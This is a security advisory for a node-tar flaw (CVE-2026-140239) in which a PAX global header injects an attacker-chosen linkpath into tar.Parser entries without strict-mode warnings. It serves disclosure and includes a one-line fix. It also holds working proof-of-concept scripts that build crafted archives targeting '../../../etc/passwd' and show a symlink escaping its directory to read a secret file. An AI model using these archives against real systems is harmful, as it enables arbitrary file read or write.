CVE-2026-140239
JSON

7.2high

node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation

Severity
7.2high CVSS:4.0 by GitHub_M
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-ffhw-4r4q-5cwv

Description

node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, a PAX Global Extended Header containing linkpath can populate entry.linkpath on every entry returned by tar.Parser without a strict-mode warning. Direct tar.Parser or tar.list consumers that trust this value can create paths or symlinks outside their intended directory, resulting in arbitrary file read or write. Node-tar's own tar.x and tar.extract operations are not affected because Unpack separately rejects an escaping linkpath. This issue is fixed in version 8.0.0.

Affected

Product or packageVersionsReported by
isaacs node-tar< 8.0.0CVE List
tar (npm)before 8.0.0GitHub Advisory Database

All scores

GitHub_M7.2high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Classification

What each source says

CVE List

node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, a PAX Global Extended Header containing linkpath can populate entry.linkpath on every entry returned by tar.Parser without a strict-mode warning. Direct tar.Parser or tar.list consumers that trust this value can create paths or symlinks outside their intended directory, resulting in arbitrary file read or write. Node-tar's own tar.x and tar.extract operations are not affected because Unpack separately rejects an escaping linkpath. This issue is fixed in version 8.0.0.

GitHub Advisory Database

Summary

A tar archive with a Global Extended Header (PAX type g) with a linkpath field injects that value into every entry returned by tar.Parser , including plain File and Directory entries, with zero warnings under strict: true. This happens because header.js's #slurp() correctly excludes linkpath from global headers, but read-entry.js's #slurp() does not apply the same filter. Any application that consumes tar.Parser or tar.list() directly and uses entry.linkpath to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink.


Details

There are two separate #slurp() implementations apply Global Extended Header (g-type) fields to parsed state, and they filter different fields.

In src/header.js, #slurp(ex, gex = false) correctly excludes linkpath when gex is true:

// header.js (correct)
if (k === 'linkpath' && gex) continue;

In src/read-entry.js, the equivalent method has no such clause — it only excludes path:

// read-entry.js (bug: linkpath is not excluded)
if (k === 'path' && gex) continue;
// linkpath from the GEX is not filtered here

The execution flow:

  1. parse.js calls Pax.parse(meta, gex, true) → stores the GEX object, including the linkpath field
  2. header.js decode runs #slurp(gex, true) → correctly skips linkpath → header.linkpath is empty
  3. consumeHeader() checks header.linkpath (empty) → the "linkpath forbidden in global header" warning never fires
  4. ReadEntry constructor runs this.#slurp(gex, true) → no linkpath filter → entry.linkpath is set to the attacker's value with no warning raised

Confirmed against tar@7.5.22:

  • node_modules/tar/dist/commonjs/read-entry.js lines 122–132 (buggy #slurp)
  • node_modules/tar/dist/commonjs/header.js lines 184–194 (correct #slurp)

Scope note: tar's own extraction engine (Unpack, used by tar.x() / tar.extract()) has a separate guard, STRIPABSOLUTEPATH, that resolves linkpath relative to the entry's directory and rejects it if it escapes cwd. This guard fires after ReadEntry is constructed and blocks the traversal at extraction time:

  • tar.x() / tar.extract() → not vulnerable (confirmed: throws TAR_ENTRY_ERROR: linkpath escapes extraction directory)
  • tar.Parser / tar.list() direct consumers that trust entry.linkpath → vulnerable

Proof of Concept

Environment: Node.js v22.23.4, tar@7.5.22. Run: npm install tar@7.5.22 && node <script>.js

poc-tar1.js — zero-warning injection via tar.Parser with strict: true
const tar = require('tar')

function padBlock(buf) {
  const rem = buf.length % 512
  return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])
}
function mkHeader(fields) {
  const b = Buffer.alloc(512, 0)
  const ws = (s, off, len) =>
    b.write(String(s || '').slice(0, len).padEnd(len, '\0'), off, 'latin1')
  const wo = (n, off, len) =>
    ws(n.toString(8).padStart(len - 1, '0') + '\0', off, len)
  ws(fields.path  || 'file', 0,   100)
  wo(fields.mode  || 0o644,  100, 8)
  wo(0, 108, 8); wo(0, 116, 8)
  wo(fields.size  || 0,      124, 12)
  wo(Math.floor(Date.now() / 1000), 136, 12)
  b.write('        ', 148, 'latin1')
  ws(fields.type  || '0',    156, 1)
  ws(fields.linkpath || '',  157, 100)
  b.write('ustar\000', 257, 'latin1')
  b.write('00',        263, 'latin1')
  let sum = 0
  for (let i = 0; i < 512; i++) sum += b[i]
  wo(sum, 148, 8)
  return b
}
function mkGEX(kvpairs) {
  let body = ''
  for (const [k, v] of Object.entries(kvpairs)) {
    const keyval = ` ${k}=${v}\n`
    const len = String(keyval.length).length + keyval.length
    body += `${len} ${k}=${v}\n`
  }
  const bodyBuf = Buffer.from(body, 'utf8')
  const hdr = mkHeader({ path: 'GlobalPaxHeader', size: bodyBuf.length, type: 'g' })
  return Buffer.concat([hdr, padBlock(bodyBuf)])
}

const archive = Buffer.concat([
  mkGEX({ linkpath: '../../../etc/passwd' }),
  mkHeader({ path: 'README.md',    type: '0', size: 0 }),
  mkHeader({ path: 'src/index.js', type: '0', size: 0 }),
  mkHeader({ path: 'package.json', type: '0', size: 0 }),
  Buffer.alloc(1024, 0),
])

const warnings = []
const parser = new tar.Parser({ strict: true, onwarn: (c, m) => warnings.push(m) })
parser.on('entry', entry => {
  console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)
  entry.resume()
})
parser.on('end', () => {
  console.log('warnings under strict:true:', warnings.length === 0 ? 'NONE' : warnings)
})
parser.end(archive)

Expected output:

README.md    | File | linkpath: ../../../etc/passwd
src/index.js | File | linkpath: ../../../etc/passwd
package.json | File | linkpath: ../../../etc/passwd
warnings under strict:true: NONE
chain-tar1.js — arbitrary file read via a vulnerable downstream consumer

Models a tool that uses tar.Parser to inspect an archive and then acts on entry.linkpath without checking it:

const tar  = require('tar')
const fs   = require('fs')
const path = require('path')
const os   = require('os')

const tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), 'chain-'))
const cwd    = path.join(tmpdir, 'extract')
const secret = path.join(tmpdir, 'secret.txt')
fs.mkdirSync(cwd)
fs.writeFileSync(secret, 'db_password=hunter2\napi_key=sk-REAL\n')

// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above

const archive = Buffer.concat([
  mkGEX({ linkpath: '../../secret.txt' }),
  mkHeader({ path: 'subdir/link', type: '2', linkpath: 'safe' }),
  Buffer.alloc(1024, 0),
])

const parser = new tar.Parser()
parser.on('entry', entry => {
  if (entry.type === 'SymbolicLink') {
    const target   = entry.linkpath   // GEX-injected value
    const linkAt   = path.join(cwd, entry.path)
    fs.mkdirSync(path.dirname(linkAt), { recursive: true })
    fs.symlinkSync(target, linkAt)
    const resolved = path.resolve(path.dirname(linkAt), target)
    console.log('symlink:', linkAt, '->', target)
    console.log('escapes cwd:', !resolved.startsWith(cwd))
    if (fs.existsSync(resolved))
      console.log('READ:', fs.readFileSync(resolved, 'utf8'))
  }
  entry.resume()
})
parser.end(archive)
control-tar1-extraction-not-vulnerable.js — confirms tar.x() is not affected

The same archive fed to tar.x() throws TAR_ENTRY_ERROR: linkpath escapes extraction directory. The Unpack layer's STRIPABSOLUTEPATH guard blocks the traversal at extraction time.


Impact

CWE-20: Improper Input Validation CWE-345: Insufficient Verification of Data Authenticity

Impacted: any application or tool that uses tar.Parser or tar.list() directly and uses entry.linkpath to build filesystem paths, create symlinks, or make routing decisions without checking that the value stays within the expected directory. This includes archive inspection tools, CI/CD tarball scanners, and custom extraction logic built on top of the Parser API. It also breaks strict: true, which is supposed to throw on dangerous archive contents.

Not impacted: applications that only use tar.x() / tar.extract() for extraction, because Unpack's STRIPABSOLUTEPATH guard rejects an escaping linkpath at that layer.

Impact on a vulnerable consumer is arbitrary file read and/or write outside the extraction directory via a crafted symlink.


Suggested Fix

One line in src/read-entry.ts, inside #slurp(), adding the same filter that already exists in src/header.ts:

// before (read-entry.ts)
return !(v === null || v === undefined || (k === 'path' && gex));

// after
return !(v === null || v === undefined || (k === 'path' && gex) || (k === 'linkpath' && gex));

References

Sources

SourceRecordLicence
CVE ListCVE-2026-140239 changed 2026-12-01CVE Terms of Use
GitHub Advisory DatabaseGHSA-ffhw-4r4q-5cwv changed 2026-12-02CC-BY-4.0
NVDCVE-2026-140239 changed 2026-12-01Public domain